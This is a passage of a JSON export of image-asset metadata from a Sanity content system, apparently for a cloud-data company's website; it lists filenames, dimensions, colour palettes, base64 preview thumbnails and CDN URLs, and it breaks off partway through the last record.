{"_createdAt":"2024-03-12T10:25:28Z","_id":"image-ffbec575ef6b693bd64b1c22386a558eeeeba3c4-1200x1200-png","_rev":"YZDTfZCd9Sx4xq41jflLJ0","_type":"sanity.imageAsset","_updatedAt":"2024-03-12T10:25:28Z","assetId":"ffbec575ef6b693bd64b1c22386a558eeeeba3c4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFAb@w-F5P6_EH;0;{X9AXAvDz,A%1I=F#}^o4EKK5R}-WSjNLbWnz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAC4jAAAuIwF4pT92AAAE3UlEQVQ4jWWTfWwTdRjHv79rt9F2W1fau3Zbt7G3AoP1d7227oWNttcXum7tChujMNABLnNUjSLIcCqMrQuIYCYGjRkiamL0T0MkJBol/IHhL0lcTCAgRqIwGIy9YIzJnTnaKeAln3zvefJ7PnnucgdpAJAa29LYeiE51y+SXJ1GydVZILs61SfsYbipg+EpVVNKGUopFHiefyxpBkjbCiHVt0NuCkNKVOdILQ21kifYJTdEW2fc8dIY7zZQSit4ytcoSSkto5RWZrBSSrWPC/sLIAU8kCN1kJ7lzNLGqh6pzXVC9olHphrDa9Y6XG47pRt4yndTSjsopZsopc9QSpU6nJGS/4QvaiBvKYPUa4L0fK5Z7mW7pITtgByp33Pb6/V3CC5XLaVRntIIpTRIKY1SSttpum6glFoU4cKjQ9rF4O8XNJBfZyC/os6Z36Gx3uk2L5+Lray+LDrNLStrjDV2u9kpCIsFQdALgmAQBMEoCMJih8OR53A4sh99n5CSuQhXAvGlwM5mQJONPBBYGQJWzcAMoAJ4mHoAuQA0GXIAqAAQADAYDEoAaw/8mr5RTpgFQpisUkKYIEB8AEIANinHAKwBoPSaANQBsAMoAZC9ME8IAbwj89AuLgOj+rdvyQzGCZAAsB3AVgJsSctJF4AogDAB+GyGaBcG+Xwd4BuZxRVZfthofPVy1tL2MY5dEa9W53LLATxJDYBljAY2Ji+rFmqibKgugwpaFQM52pwWiql5iKm5bN/I7BLf8P0Gz/47QnDHt9yoXdAd54s1H/ZpNacGVdrN61sW2ftP5vFvJUtcb4ZsPQmHccq2TP3TG+2Qk5247XenhRmM4sjsal9qLhIang7ufelM40Rb3Dm9qUb4a9zgmD7LCqdODdHI27/Ue499Fk+OPt19buMqcWa1s3wiWp99S3RBIbPhnJJmcWTW70k9aG0durlxeMcX/Zfa4r13Ny/ve/C+oe/maWvv+Ml9z8UOX0kGD3+9b3jP1qM/xhv23vW6fFdb6nInRff/hFpxZGalNzUfahmabD/Y/2n850hLx1R3zYY/Pyjo+uN0yYax8SPbI4d+2xU89MPgyO7kzolYXc+U1+2+Fq7TTD66oWf/PfiGZ4g/NasTR+eLQ6n7xe/0jZtuBJsLpxO1RdLHusLfz5SXvHzsrCMwem+tePB6ePfgIdvlqMs6KdYZroXrmVsLGzYN3oI1fgEVPRPQ1J0mXNcljannmi6/83u1neVVlsKImqt6SuUKrFO7khf1q167YW0YuG4q7fg8K6wvJBdaOzAdaoDcKqSFRvtJ6IJnwQS+gb72o1z96q9q82Pn3brwl0UwrzGB9VvABswwBThiDnGqwjBLuABHWNEEUyBH+eLGHE3wVXjSQr3tPVRaLsLiPI+8qqOWXP54m675k/WLVr1LmaK2csL6qgkXqCacv5Kw/jKwYjlYv9IrUXF+rbPUg0SNFzAG0sL86jFUNN5FsfcqdEuGDDkVA66sZQON6hW7ykhRuwEmXwG4gAGsv4BwgTzCBfVEqbmADqxfRbggwAUA1p/+XfIqD8O7TYaQkJFTslPFcN0aGGNasNEsUhgjMPkyAxk4f4aM5FGUK79qDGbnOXDu76Ap3QumYB2gawLMMTDWTsDoAZQtFoSZYfKkLCP8B5hkgRwAEaLXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#69494e","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f2a95","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2ba0f","foreground":"#000","population":0.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#024c96","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4ca4fc","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a05860","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2ba0f","foreground":"#000","population":0.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Google Data Day.png","path":"images/sczeoy4w/production/ffbec575ef6b693bd64b1c22386a558eeeeba3c4-1200x1200.png","sha1hash":"ffbec575ef6b693bd64b1c22386a558eeeeba3c4","size":159786,"uploadId":"Waei94kh71eU02YdU1UddZ7gvZF1M1hr","url":"https://cdn.sanity.io/images/sczeoy4w/production/ffbec575ef6b693bd64b1c22386a558eeeeba3c4-1200x1200.png"} {"_createdAt":"2024-03-12T10:29:49Z","_id":"image-5781514e84d46a32b5ad811e4e5edf84c57eee2c-1786x576-png","_rev":"YZDTfZCd9Sx4xq41jflUfV","_type":"sanity.imageAsset","_updatedAt":"2024-03-12T10:29:49Z","assetId":"5781514e84d46a32b5ad811e4e5edf84c57eee2c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DXC#oyrV]M^9rx}urr,o-Cr^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.1006944444444446,"height":576,"width":1786},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAC4jAAAuIwF4pT92AAAB4UlEQVQYlS3M7WsScQAH8O89bOZ04HSeO1u2edZ07u53v0z0FPXu/C03Ww0HOnINtIIeCEpoRC+2nsTBIqJeF8WoF9Gb2LvexAgGUW/qX+hVEUWLIgjKiHr1effBr3LK7pqs9t6YSs7pyYhKCKVEVwkhcV3XY0SL+zLza6Ld+SHb7a/ZxsW3hWcnTtHPndGJjfWGunj7vnF+pcU2mnb0e051oFtX6t2Z5Nl3Zv5glSYzKiGTlJAiIYQRoheINrErfWipx1r9KbHrX4xzrc2prWP18seOUn7y4Mxs4+bTxeULy80X81Z2O6+68WFhMPGtEk2/MfePz2okHNc0her6CNX1UUppaB+l/dbMcc5e++0strd3tlrP97xuVsc+rUaid+9dTdRvbFmXlu4Yr2rF3V0z1gvZhWjIzYd9DiHSIwhRXhBGBEGQRVH0i6Lo4wWxH4DozT12SJWX/lB105fLnHSVUoYrU73sIUcf+fXptiext9QnyWYvADAABwAcBlADMAegDMAGkAWgAbzPPX4r4DYeppyFdYqx08PwWEF4mYyBwhC8loxBNgQ/84ID0ty/4G92BMDCfysApgHkOc4Z7AuvhHbErpUc2hVTVBqKINkhPsCG+cCkzAdYkJeYzEnFgT+G9XHXFcWQewAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#57465d","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#761710","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ed4e0d","foreground":"#fff","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#104688","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4d94ea","foreground":"#fff","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#994e54","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed4e0d","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Untitled design (9).png","path":"images/sczeoy4w/production/5781514e84d46a32b5ad811e4e5edf84c57eee2c-1786x576.png","sha1hash":"5781514e84d46a32b5ad811e4e5edf84c57eee2c","size":188926,"uploadId":"5Phy1z6go9Apkq37LLx5OkunpRjb4rVz","url":"https://cdn.sanity.io/images/sczeoy4w/production/5781514e84d46a32b5ad811e4e5edf84c57eee2c-1786x576.png"} {"_createdAt":"2024-06-10T15:22:49Z","_id":"image-36d0898467a1b1f8ab6b8669523db3642573a838-1452x902-png","_rev":"rE19qWqXtwbnyVyXl5PdQY","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:49Z","assetId":"36d0898467a1b1f8ab6b8669523db3642573a838","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VERMxa0d-C^+-W0dE0=}-p$+M{%3-WR*Io~W-pNGE0In","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6097560975609757,"height":902,"width":1452},"exif":{"PixelXDimension":1452,"PixelYDimension":902,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAAByElEQVQokY2STW8TMRCG82uREAIJ+AFw4B9wgUOLUEVBLQcEqIdC2oqSRioiok1EUkpbIiXZfGyS9Xpt71d4kN2AViVBHF6N7Zl5ZmxPaTCaMPQnTGXEWCk8GdILBd4V9Qrqy5BhFBFog4pTkjRHmQR/KihJZQilpjMes3PR5GmjyspxhdV6hdXjils/qR+w/vWQlyc13p7V+dg5ozHq0RUBoY4dMM1maJNSsmQZGb71PVa+7HNnd4Mb79edbpafc3t3g3uV1w66dd5gv/Od1nhAT4YExmDSjCz/6WShpUBEBKGi5XV59HmP6++ecW17jbt7mzyobvH46AOvTo9ojDx8rRBxjLEdzSFZQQ7oTwRBGNHyeg54q/yC+wdv2Dypcei1uQjGDmQh+QxmM5y9qqwIFFJxOuizVq/ysLbD9o8mXSkcxAYWkxYpXwQ8Hw0pnzf55LVdR/ZK/4IsBU4CiZCatu/T6HcZRnJp0rKr5kWg0omboaEQdIMpMkn+q6ulHSZpjkkyhNIIbYjn7/bn5+aBi351IVDHKXGSYa0Fu+S5bDHrM3HmCiX27Ldvbv8aGzsyFlYEFYHaJEQqdlC7v9Slz9pivC3+C4A3i+NazHA5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#616469","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#295a4d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#53b097","foreground":"#fff","population":6.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8d0c8","foreground":"#000","population":2.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ae6cd","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#58a492","foreground":"#fff","population":0.88,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#53b097","foreground":"#fff","population":6.89,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"categories.png","path":"images/sczeoy4w/production/36d0898467a1b1f8ab6b8669523db3642573a838-1452x902.png","sha1hash":"36d0898467a1b1f8ab6b8669523db3642573a838","size":156234,"uploadId":"9h0W9AODCnUSVSytkvqbjlbjYRotC9dh","url":"https://cdn.sanity.io/images/sczeoy4w/production/36d0898467a1b1f8ab6b8669523db3642573a838-1452x902.png"} {"_createdAt":"2024-06-10T15:22:50Z","_id":"image-33e699b549e375fbe5a21b8d3fcc5842ea592a17-1750x1014-png","_rev":"oFiEE05U1PQErozi7WC5ww","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:50Z","assetId":"33e699b549e375fbe5a21b8d3fcc5842ea592a17","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDM*2U_200xu01n,M|bIxsWE00NH~oMy?Z","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7258382642998027,"height":1014,"width":1750},"exif":{"PixelXDimension":1750,"PixelYDimension":1014,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAACZElEQVQokYWSWU8TURSA+ZH+An3zwQSUTSggoEESsTTQIksARWQxUV/YCthWpdACBVoIQilLqwydpZ2WbjPIZ2ZaqTwYJ/nmnHNz890zZ27F4ycuirhpaC1RyuubP1Ndu0BNvZPaunkq705w/84wD+5NU13vpMqybFLX4jL3G54KI2l7/pWunjVsff7bOPx0967RbffR3b3Ci6YZOh5+oLNlHqvNi9Xuo+Oll+ZnX4rCVjcVjW1uHEObLLmOWPUd4107NuOq/4T1QJTtkEBwN85OUGDbd0pgJcKW/8yst3YEZp1hs5mbDi3tHsYmg3w/EDg/v0AQ4oiijCgpqOolhYKOrv9C16/QtCu0gm5Go87lNPMwx+DmzbhM4fhUiKNIHEmSUBSFy8tLstkcmqZxfX3Nvx7joL19EcfgRuk/uMrCyImELCtIkkwqlSKTyZLPF9B1/RaaViaf1wjtXWDrW6O60cmjhgVD6GZsMkQ4IiPJSeKijCQpyEoSJaGSTKZQ1TSpVJp0ukwmU/yK4K6A1e6lqn6Oyrq5svAwYkhSiFICUUoiSqqJJKkoiaLUIC6qRGMK0VgC4SJNYFug55WPWssiNZbFonB8apezmEq+oJHLFcxh35DXTTJZDSWRJ7SfYHbpJx9nYix5BJY9MewDGzS0lmZoXJuh19vmFYjGUqb4zIxFjLXTqEo4kiC4J+N0/WDkXZi+kQPeTh/x/tMhVrv/9sXu6PIyOLrFm4lQieBfFOvR8SDDYzv0D2/R0x/A1rdJ70AAm2Odts5vZaHxMgqj0/9hMWj30GTw1GPmxvofmSH8DetsEk+LxLOxAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#614391","foreground":"#fff","population":1.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3440ad","foreground":"#fff","population":0.99,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#614391","foreground":"#fff","population":1.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bac5dc","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8d91e7","foreground":"#000","population":0.37,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#695ea4","foreground":"#fff","population":0.51,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#444ad0","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"choose file.png","path":"images/sczeoy4w/production/33e699b549e375fbe5a21b8d3fcc5842ea592a17-1750x1014.png","sha1hash":"33e699b549e375fbe5a21b8d3fcc5842ea592a17","size":173346,"uploadId":"zhLxcM2e484o6wtB3w8aEEig3370RkCr","url":"https://cdn.sanity.io/images/sczeoy4w/production/33e699b549e375fbe5a21b8d3fcc5842ea592a17-1750x1014.png"} {"_createdAt":"2024-06-10T15:22:50Z","_id":"image-5ad74d032b7eae7b8eb9616d59d7852e41867708-2316x1366-png","_rev":"oFiEE05U1PQErozi7WC5j0","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:50Z","assetId":"5ad74d032b7eae7b8eb9616d59d7852e41867708","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6R{x,IY=r-=bb~pEL01-;$eD+ITtPoMM~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6954612005856515,"height":1366,"width":2316},"exif":{"PixelXDimension":2316,"PixelYDimension":1366,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAACEElEQVQokXWTa4vUMBiF+/9/kB9UEFmQBRcUURRc15mdadL0kl5ybzv7SLozu4vih4cmad/T854kRXMnUccGpbqNSnXIqqVSLVqPhBBY15XT6bTx8PBw5sS6nohpwbmEdQnnZ4rmxx65E5SiopSSoxAchEBUir4fCCFugrn4b5ZlJYSZafJMw4gzhqI5VIiD5FhKSiE5lIJDWW7jSjX0/YhzgRASMc6k9Eyee5+wfYuv74iDpGjbHilqhFBIWW+I8zyTY+j1xDQ5rA2bwIXcqpk8Vu0Ix89EfaQYR4fWE31vGIZ/GUdL/sYYj3PxhWDccjOjxdU7vPxOmDoKl//kEyE+tnDhqbX/rOdxrgk+Es1AnDQpRoplXkguMYeZdcnhryzrSsyBz+tWnDfG+5zjhfi05n0gxcSyLFttseZgxUCoBkI7YkWH1ZbWzdRuZjAOpXKmFU3T0nUarfsn+n7AWrcJ5mNVZGf9QTPsG/Tnn4jXN9Rf90jtEVNEDxNlWXJ/f0BVahN9Sdt2GGOeBWOaKesJKXu6L7fItx+pv+2pWo/QiVZb7g81t78Eu32FlM1ZrNvEskvnssPHw1/EeUFoi+otphsYywrTjXRDROnIUVpuPineXR25vpH83mt0bzDG4b0nxvjkbhPMQYaYyE7zi3k5P+dl28VSOq6uFa/elLz/oLjbTYxjJMZHkctVvAj+AXBhlMNZp54mAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d427e","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e548f","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#91acf1","foreground":"#000","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#97c1c3","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91acf1","foreground":"#000","population":0.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#65976c","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b82374","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-for-flink.png","path":"images/sczeoy4w/production/5ad74d032b7eae7b8eb9616d59d7852e41867708-2316x1366.png","sha1hash":"5ad74d032b7eae7b8eb9616d59d7852e41867708","size":922921,"uploadId":"lQe5SAJOZeq0DBfFKNhTfKJLi1ITUsq0","url":"https://cdn.sanity.io/images/sczeoy4w/production/5ad74d032b7eae7b8eb9616d59d7852e41867708-2316x1366.png"} {"_createdAt":"2024-06-10T15:22:52Z","_id":"image-7c6ee7d5ef822e22724dc85a58a246e3cea19214-2260x1124-png","_rev":"oFiEE05U1PQErozi7WC6EM","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:52Z","assetId":"7c6ee7d5ef822e22724dc85a58a246e3cea19214","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLI}^:~p00D*M|4oIUxuxtt700IU?bt7WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0106761565836297,"height":1124,"width":2260},"exif":{"PixelXDimension":2260,"PixelYDimension":1124,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAAB70lEQVQokYWR7U9SYRiH+WM1DwIDyjUkKyydK3tBUWBDRJMDpYKJmy4NeQdb4gEOTntZNpPWFxEBs03a1eSgyebqw7Xfni/X/XvuWyUIVgTNKILORpfOdpldutE21PoxNEY7WqPjn6g6BSsdgpXO7pGmSK0fp1tvb6bCWJtMd/M/wg61lRuaEXpMLh4O+RganmVo+FWTR0/nePxsnuHnAZ5Yzwk23/cHRIy3Xa0BTrRXhqi69ePcMrmYmFwmGpNIb8gk0wXSGZnN7Afy8hfk4h6F4h7y9h5Z6ROzgTh9lhfXN9Qa7Zj73IRCSUqlH1QqFY6OKlSrNU5Pf3F21qDRaLTyN/X6T2IJGcuA2FyNxvAXRWiwYza7WHwd49v+dw7LZcrlI46rNWr1OrX6ySX1kxMOy8dE4nksA97WvscVWlLVubX3jhuvb5VoKkckU2A9lSeakduIpJVMb+6wtLJB/6CIxnDtlx2Y7nqYEt+yHMmxGM6xsLrFwppEcFUi8GYLMfQeh5jBNp3CG9zEP5+if9B3eZQLrgin8M/FkIpf2f5YQt49QN4tUdg5ICvvE05+xvOygM0t4fHn8XgT3HvgbbVSRG0Ne3rdOCeWWQtLJFJF4kmF8+WvRwssrWwx43/HxHSGyZk0NudKs8TVhhfCP6UIPbaLzWbFAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353b52","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a3ea5","foreground":"#fff","population":0.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6c749c","foreground":"#fff","population":40.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1c3c0","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcb4ec","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c749c","foreground":"#fff","population":40.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#628bed","foreground":"#fff","population":1.97,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"create-new-application.png","path":"images/sczeoy4w/production/7c6ee7d5ef822e22724dc85a58a246e3cea19214-2260x1124.png","sha1hash":"7c6ee7d5ef822e22724dc85a58a246e3cea19214","size":342912,"uploadId":"XPVUjej4apCMBeRJtapCEcfxaVupOudt","url":"https://cdn.sanity.io/images/sczeoy4w/production/7c6ee7d5ef822e22724dc85a58a246e3cea19214-2260x1124.png"} {"_createdAt":"2024-05-02T17:08:57Z","_id":"image-28719cbb5c8ec3da88a69e21b79751b7dd58c086-1200x630-png","_rev":"pD6O9O6OnMAc9TvuHcxqem","_type":"sanity.imageAsset","_updatedAt":"2024-05-02T17:08:57Z","assetId":"28719cbb5c8ec3da88a69e21b79751b7dd58c086","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBByd|1C#lOw+WWQTN}h0-xuxGMwJ:w[$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADD0lEQVQokSXQXU9bBQCA4f4DLxQYDFqgh7LSjzNaaMs6oD0tbaEcC4VCC7SdDEqhlNIvhEDdoBtfA0a2mbBoXJbp4ojDqRsaY/Rm0Zh4Q6LxwqiJF176F14z/QPPxaN4rWqY18+PUlE3RpUqyrn6t6hUTfFG3TQVylkqVWmqGrKcUxepEVao05bRmI8wXD7BJp0wHdzmcTrOzxv9/HPbiaJSGeGCmMBomeeiNYPpUh6dOYdgWEStz6HWLyEYVlBpV/4Da5vXEVrfRW//BKv0jFjggKNEgperQf7c9qGoE2LYnXm8cgl5uMxgeBuPfINuzzoO302kvh2cvbcQbWXqW0rU68poTPfQ259gdnyK7L3LtbEMj+djPMuOoVA2xel0FfEPXicY3iIc22dgZBdfYIvegV3k0CFy6A7Ovn0uufaw99yhw/0+7dLHtDmOcXXdZqE3zY2hq+QCGRTnG6NYOhdxepdx+lbxyNfxyGUcvg26espIvTu4/Hu4/Ad43ryLf/g9+oY/xBV4So//CZPua+y6guy6Bkl1Jv4/1F5MIFrmMVrSiJYsLaYsgn4RtS6H8OrQuEKTWKLZtEGr/QDJ/wj/yAvCkc/YDL7Nc5+NY5eVne4AiuqGCURLClt3DktnHrO9QLOYoaZxlgrlHFWqNHVCBo02i1ZXxNC2ibPvI4Zi3xK/+h2ro/s86pN52OOh5LjyChzHZJ3nslSgw1GkvbOIaC2g1mWobpynVr2A1TTHuHuK2f4povIaofAx0eQPTKZ+YjzyBXHvIVfct+h33kdRUROipXkCs3kG0ZJGZ15A35ZDby4gGApojXmGpBkOYqM8XRjkg0yaQuqYZO6M2cIvDEy8pKPnlHbpFLP0JYqK6iE0qhD6ljgXxCRNhjm0rYsYLUvo25YR25cJe1M8SIY4W+/l+5sJ9tZOKJR+I1/6g5HJH7F5v8YkfYXJ+QJFlTJCbX0EpTqKsmkSpWaaBu0cgj6DYMijMS7h7cpwNDPO77t+fj1Mcn/zOe9s/cXa1t/EU2d0y99g9ZxicX/Ov8RuvhWBU9kmAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4572","foreground":"#fff","population":1.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c047c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f4572","foreground":"#fff","population":1.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a95bd","foreground":"#000","population":0.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbb467","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a06866","foreground":"#fff","population":0.93,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e24c10","foreground":"#fff","population":1.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Google Cloud Germany Summits 2024 (1).png","path":"images/sczeoy4w/production/28719cbb5c8ec3da88a69e21b79751b7dd58c086-1200x630.png","sha1hash":"28719cbb5c8ec3da88a69e21b79751b7dd58c086","size":259342,"uploadId":"GvCgxCEJfjN7PYERU12TB7w7sSdQMJKM","url":"https://cdn.sanity.io/images/sczeoy4w/production/28719cbb5c8ec3da88a69e21b79751b7dd58c086-1200x630.png"} {"_createdAt":"2024-06-25T19:14:30Z","_id":"image-a187bd8f8ad965e432e4745a48c64e297212262d-1546x702-png","_rev":"FWfcFyz4v76XPZNTICMuZX","_type":"sanity.imageAsset","_updatedAt":"2024-06-25T19:14:30Z","assetId":"a187bd8f8ad965e432e4745a48c64e297212262d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M36kojR1tTIn9Z?dxZNFIoIo9Dt6M_IotR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.202279202279202,"height":702,"width":1546},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAACToAAAk6AGCYwUcAAACPklEQVQokSWSWU8aARhF+Q+tYovKMjMwzMbAsAzIIEsEl6Taxz41MU1brcGtLiwDCFbaWqURjcY/exqnD/f15Hz3fr5X8x95Pb/NzMInZhY+4w/tIBsn5Ap99LSLaLQRjA5iwkUy+0TNIYI+JKhcIBiXxJJjYqnfSMlrIolrfBF1B9ncR0keIukHRJQDnNKAD1sTyuVL4qkusuWipAeomSFq5hLZ+oGSviJTusGpT3EaD2QrU1T7Lz7TPqJQ6VCsuWScNqbdxikPWa+PPUs52UFJu6jZAUr6grg1wsj/JFu+ZXl1Sv3dE/XNZ4qNRxJLd/hS+WOKtS5OrUe+3GWpOsAuX2BkOsjmOYrVxbAHmIURWnaIYo2wq7dU1u+91DefaGw9U1p9JOlM8VlL33FWXEorfQoVl3ylT7rYI2aeIeqnxFMd9FyfRH7oGcqp4X/gxr2XxtYTq++fKa09/Qca2UNypRb2codU4RwtfUbMPEXUThC0UySjhfzSY6qHoHeJaD207Jhc5Zbltaln+HKy03jELN7hC8pfiBpN5MQBgtJkMdokFD9CMk6JmS3iVhct+zLIANHoEdb6SIkRSmbs9VhZf6C68Yhde0B7GWU2uE1I3kVUmwSEXfzBHQJik7By7BmKegvJ7CKZLhHd9YAhdeC9TSx5Rbo0wa7eoecnCIk/+PzBbQR1j1jigHnpGzOLX5kN7uIP7TEX3mcucsiccMwb8YS34hkBqU0g2iUQ7RFWR+i5a1LFCbJ1w6L6i3/i91HNCrbR9wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414988","foreground":"#fff","population":2.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#13246f","foreground":"#fff","population":7.68,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2887","foreground":"#fff","population":7.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#272b71","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#abaee2","foreground":"#000","population":6.53,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656daa","foreground":"#fff","population":3.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2887